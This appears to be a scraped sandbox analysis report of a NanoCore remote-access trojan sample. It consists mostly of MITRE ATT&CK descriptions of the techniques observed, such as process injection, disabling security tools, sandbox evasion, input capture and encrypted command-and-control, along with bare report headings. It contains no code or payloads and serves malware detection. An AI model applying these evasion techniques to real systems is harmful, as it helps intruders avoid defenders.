Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report zunUbtZ2Y3.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: NanoCore

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Operating System Destruction:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Function 0136CBB8, Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 199
filesleeptimeCOMMON

Function 0136963A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92
memorywindowCOMMON

Function 0135A2DF, Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Function 01376AF3, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Function 013583C0, Relevance: 3.9, APIs: 2, Instructions: 940
COMMONCrypto

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre